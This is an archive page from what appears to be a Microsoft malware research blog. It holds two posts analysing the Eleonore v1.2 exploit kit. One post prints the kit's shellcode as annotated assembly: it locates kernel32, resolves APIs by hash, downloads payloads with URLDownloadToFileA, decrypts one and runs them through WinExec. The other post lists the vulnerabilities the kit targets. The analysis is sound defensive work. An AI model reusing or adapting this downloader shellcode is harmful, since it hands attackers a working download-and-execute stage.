Archive for the ‘Eleonore’ Category

Some shellcode de-mystified

June 22nd, 2012 No comments

The shellcode described in this post was obtained from the Eleonore v1.2 exploit kit. High-level details about that kit are mentioned in my April 2012 blog post.

This post is a technical view of the actual shellcode and is intended to be instructive to the inquisitive reader. Since this code is relatively old, the main techniques (hashing API lookups, rol decryption, kernel32 address lookup) have been discussed before.

There are some other less-discussed bits of shellcode analysis, such as the anti-emulation code in the first segment below, that when viewed collectively with other shellcode analysis, may assist the reader in better understanding shellcode. So let’s get into it.

mov eax, fs:18h; // Get the Thread Information Block (TIB)
mov eax, [eax + 30h]; // Get the Process Environment Block (PEB)
mov eax, [eax + 54h]; // Get ReadOnlyStaticServer Data pointer
mov eax, [eax + 4]; // Get Client Server Runtime Subsystem (CSRS) Object Port Name structure
mov eax, [eax + 4]; // Get the Object Directory of the CSRS port (kernel32 sets this to “C:\Windows” for sessionID of 0)
mov eax, [eax + 4]; // Get the 3rd and 4th characters of the Object Directory unicode string
or eax, 200020h; // Normalize these two characters to lower case
cmp eax, 77007Ch; // This checks that the Object Directory is “C:\Windows” by checking the two characters ‘\’ and ‘W’.
// This ensures outer program this shellcode is running in, is a Win32 app connected to the windows
// subsystem process (CSRSS) with a system or console sessionID, else return.
jz DetectPlatform;
// pretty old standard method of retrieving kernel32.dll, to access GetProcAddr and LoadLibrary
// thereby accessing any functionality needed by shellcode
xor eax, eax;
mov eax, fs:[eax + 30h]; // Get the PEB
js Win9xPlatform; // Jump if signed (9x systems PEB mapped above 0x80000000, NT mapped at 0x7FFDF000 roughly)
mov eax, [eax + 0Ch]; // For NT, get PEB.Ldr (loaded module list struct)
mov esi, [eax + 1Ch]; // Get PEB_LDR_DATA.InInitializationOrderModuleList.Flink
lodsd; // Load from string from esi ptr to eax, loading second Flink entry
mov ebx, [eax + 8]; // Get base address of kernel32.dll (prior to Windows 7)
jmp StackSetup;
mov eax, [eax + 34h];
lea eax, [eax + 7Ch];
mov ebx, [eax + 3Ch]; // Get base addr of kernel32.dll
push 4Eh;
pop edx;
shl edx, 1; // 0x4E becomes 0x9C after shift
sub esp, edx; // increase stack by 0x9C
mov ebp, esp; // Move stack frame for shellcode space
mov [ebp + 10h], ‘xe.n’;
mov [ebp + 14h], 1FFh; // Size of shellcode
mov [ebp], 0; // Iteration 0
jmp DownloadMalware;
lea edi, [ebp + 1Ch]; // Load address from newly creates stack space
push edi; // lpBuffer
push edx; // nBufferLength (this = 0x9C, size of string to hold temp dir, c:\temp)
mov eax, 5B8ACA33h; // HASH of GetTempPathA
call FindFuncHash; // This routine as discussed in previous blog is an spatially efficient way to look up API by its hash value
xor al, al; // Zero out for scan function
mov esi, edi;
repne scasb; // Repeat while not equal, scans string for 0 (get length of temp dir path)
dec edi;
mov eax, [ebp + 10h]; // Store “xe.n” from above or later “xe.y”
stosd; // Put xe.n at the end of the string rom edi, C:\TEMP
cbw; // Convert byte to word, so ax now = “nn” or “yy” later
stosw; // Put “nn” to “n.ex” or later “yy” to y.exe to yield nnn.ex, yyy.ex
xor eax, eax;
mov eax, ‘da’;
push eax;
push ‘erhT’;
xor eax, 74691C24h; // 0x74697845 = “tixE” (Constructing ExitThread)
push eax; // lpProcName = “Exit”
push esp; // lpProcName = “Thread” (continued)
push ebx; // Base address of kernel32.dll
mov eax, 7C0DFCAAh; // HASH of GetProcAddress
call [ebp + 18h]; // This calls the FindFuncHash routine and then executes GetProcAddress with arguement of ExitThread routine
add esp, 0Ch; // Increase stack temporarily
push eax; // Save absolute address of ExitThread routine
mov al, ‘l’;
mov ah, al; // “ll”
cwde; // Convert word to double extended
push eax;
push ‘’;
push ‘mlru’;
push esp; // lpFileName = “urlmon.dll”
mov eax, 0EC0E4E8h; // HASH of LoadLibraryA routine
call [ebp + 18h]; // Execute LoadLibraryA routine with urlmon.dll
add esp, 0Ch; // decrease stack
xchg eax, ebx; // ebx now holds handle to loaded URLmon module
push eax;
xor eax, eax;
push eax; // lpBinStatusCallBack = NULL
push eax; // dwReserved = 0
push esi; // szFileName = “C:\TEMP\(nnn.ex|yyy.ex)”
mov edx, [ebp + 18h];
add edx, [ebp + 14h]; // Add the 0x1ff shellcode size to the 0x67 offset for a relative addr of 0x266
push edx; // szURL = string at 0x266 (the actual URL is appended to shellcode when it is put into play, not included in analysis)
push eax; // pCaller = NULL
mov eax, 702F1A36h; // HASH of URLDownloadToFileA routine
call [ebp + 18h]; // Execute URLDownloadToFileA routine on a specific URL to download data and store into the (nnn.ex|yyy.ex) files
pop ebx;
cmp [ebp], 1; // 2nd iteration do we decrypt downloaded malware file
jnz ExecuteMalware;
push 0; // hTemplateFile = NULL
push 80h; // dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
push 3; // dwCreationDisposition = OPEN_EXISTING
push 0; // lpSecurityAttributes = NULL
push 3; // dwShareMode = READ | WRITE
push 0C0000000h; // dwDesiredAccess = GENERIC_ALL
push esi; // lpFileName = C:\TEMP\yyy.ex
mov eax, 7C0017A5h; // HASH of CreateFile routine
call [ebp + 18h]; // Execute the CreateFile routine with the above arguments
mov [ebp + 4], eax; // Handle to the file that downloaded malware
push 4; // flProtect = PAGE_READWRITE
push 1000h; // flAllocationType = MEM_COMMIT
push 80000h; // dwSize = 0x80000
push 0; // lpAddress = NULL
mov eax, 91AFCA54h; // HASH of VirtualAlloc routine
call [ebp + 18h]; // Execute VirtualAlloc routine with above arguments to create 0x80000 space for downloaded malware to be decrypted into
mov [ebp + 0Ch], eax; // Base address of the allocated region
push eax; // Save this address
push 0; // lpOverlapped = NULL
lea ecx, [ebp + 4];
push ecx; // lpNumberOfBytesRead = dword in shellcode stack space
push 80000h; // nNumberOfBytesToRead = 0x80000
push eax; // lpBuffer = base addr of virtually allocated region
push [ebp + 4]; // hFile = C:\TEMP\yyy.ex
mov eax, 10FA6516h; // HASH of ReadFile routine
call [ebp + 18h]; // Execute ReadFile routine and get contents for file and put into virutally allocated memory region
pop edi; // File handle of C:\TEMP\yyy.ex
mov edx, [edi];
add edi, 4;
mov ecx, [ebp + 8]; // Number of bytes read from the ReadFile call
sub ecx, 4;
call DecryptBytes; // Routine that decrypts these malware bytes in place (see previous blog post for this routine)
push 0; // dwMoveMethod = FILE_BEGIN
push 0; // lpDistanceToMoveHigh = NULL
push 0; // lpDistanceToMove = NULL
push [ebp + 4]; // File handle of C:\TEMP\yyy.ex
mov eax, 76DA08ACh; // HASH of SetFilePointer routine
call [ebp + 18h]; // Execute SetFilePointer routine on file to ensure pointer is at the begining of file
push 0; // lpOverlapped = NULL
lea ecx, [ebp + 8];
push ecx; // lpNumberOfBytesWritten = dword in shellcode stack space
push [ebp + 8]; // nNumberOfBytesToWrite = num bytes from ReadFile call
push [ebp + 0Ch]; // lpBuffer = pointer to the new decrypted bytes in the virtual allocated memory space
add [esp + 10h], 4;
push [ebp + 4]; // hFile = handle to C:\TEMP\yyy.ex
mov eax, 0E80A791Fh; // HASH of WriteFile routine
call [ebp + 18h]; // Execute WriteFile routine on above arguments so we write decrypted bytes back to file
push [ebp + 4]; // hFile = handle to C:\TEMP\yyy.ex
mov eax, 0FFD97FBh; // HASH of CloseHandle routine
call [ebp + 18h]; // Execute CloseHandle routine on C:\TEMP\yyy.ex
mov [ebp], 2;
push edi; // uCmdShow = SW_HIDE
push esi; // lpCmdLine = “C:\TEMP\(nnn.ex|yyy.ex)”
mov eax, 0E8AFE98h; // HASH of WinExec routine
call [ebp + 18h]; // Execute WinExec on file, so execute malware
jmp loc_FFF;
cmp [ebp], 2; // This is the second iteration and we exit shellcode here
jz FINI;
mov [ebp], 1;
mov [ebp + 10h], ‘xe.y’; // next file name to use
mov [ebp + 14h], 172h;
mov edi, [ebp + 18h];
add edi, [ebp + 14h]; // Relative addr 0x1D9 (0x172 + 0x67)
mov ecx, 26h; // 0x26 bytes to decrypt
mov edx, [edi – 4]; // Start of encrypted buffer to decrypt
call DecryptBytes;
jmp DownloadMalware;

Thanks for reading.

— Nik Livic, MMPC

Categories: API, Eleonore, kernel32, shellcode Tags:

Analysis of the Eleonore exploit pack shellcode

April 20th, 2012 No comments

‘​Eleonore‘ is a malware package that contains a collection of exploits used to compromise web pages. When the compromised web pages are viewed via vulnerable systems, the exploit payload is run. Eleonore is purchased by an attacker from an underground website. The attacker then gains access to Internet web servers and installs the exploit by modifying webpages, which are then served to the public. The malware pack also contains functionality for the tracking and management of compromised computers.

Remote attacker purchases the exploit pack, installs Eleonore (courtesy of MMPC)

Image 1 – Remote attacker purchases the exploit pack, retrieves web pages from Internet servers and installs Eleonore

Eleonore is developed and released as version updates. This blog post focuses on the shellcode exploit from one of the releases, version 1.2. At a high level, the Eleonore shellcode locates kernel32.dll in an exploited process space. It uses the spatially efficient hash lookup to find the absolute address of key Kernel32 APIs:

Image 2 – FindFuncHash routine

With access to these functions, the shellcode creates a file in the temporary files folder (%TEMP%) and calls URLDownloadToFile with a URL that is 0x67 bytes after the shellcode. The shellcode then executes that file.

The exact URL is dependent on bytes included in the exploit payload and is beyond the scope of this analysis. The exploit then decrypts bytes right after the shellcode for another URL and calls URLDownloadToFile for a second time, copying the file from a URL such as the following:

<website domain with Eleonore installation>/path/getexe.php

This URL was obtained by looking at the entire exploit payload from an Eleonore installation – that data is not included in this article. The “getexe.php” file creates a server-side response that returns a file named “load.exe“. The contents of this file are put into a secondary file, decrypted in memory, written back to the file and finally executed.

Decrypt routine

Image 3 – DecryptBytes routine


The shellcode ends here as “load.exe” begins, with the affected computer now compromised.

Eleonore v1.2 contained numerous exploits and attack code that targets several programs including:

  • DirectX 9, affecting certain versions of Windows operating system
    • Vulnerability discussed in CVE-2008-0015 and
      fixed with Microsoft Security Bulletin MS09-032
    • Malware detected as Exploit:JS/CVE-2008-0015 and Exploit:HTML/CVE-2008-0015
  • Microsoft Internet Explorer 7 memory corruption
    • Vulnerability discussed in CVE-2009-0075 and
      fixed with Microsoft Security Bulletin MS09-002
    • Malware detected as Exploit:JS/CVE-2009-0075
  • Microsoft Internet Explorer ActiveX control “snpvw.Snapshot viewer Control.1”
    • Vulnerability discussed in CVE-2008-2463 and
      fixed with Microsoft Security Bulletin MS08-041
    • Malware detected as Exploit:JS/Objsnapt.E, Exploit:JS/Objsnapt.F and Exploit:HTML/Snavic.gen!D
  • Microsoft Internet Explorer 6 MDAC
    • Multiple vulnerabilities, discussed in CVE-2004-0549 and CVE-2006-0003, and
      fixed with Microsoft Security Bulletin MS04-025 and MS06-014
    • Malware detected as TrojanDownloader:VBS.Psyme.X, TrojanDownloader:JS/Adodb (and other names)
  • Opera telnet 9.25
  • Certain versions of Mozilla Firefox
  • Certain versions of Adobe Reader

To protect against Eleonore and other threats, the MMPC recommends maintaining security updates across all products, not only those serviced by Microsoft Windows updates, and using security software with active scanning enabled.


— Nik Livic & Patrick Nolan, MMPC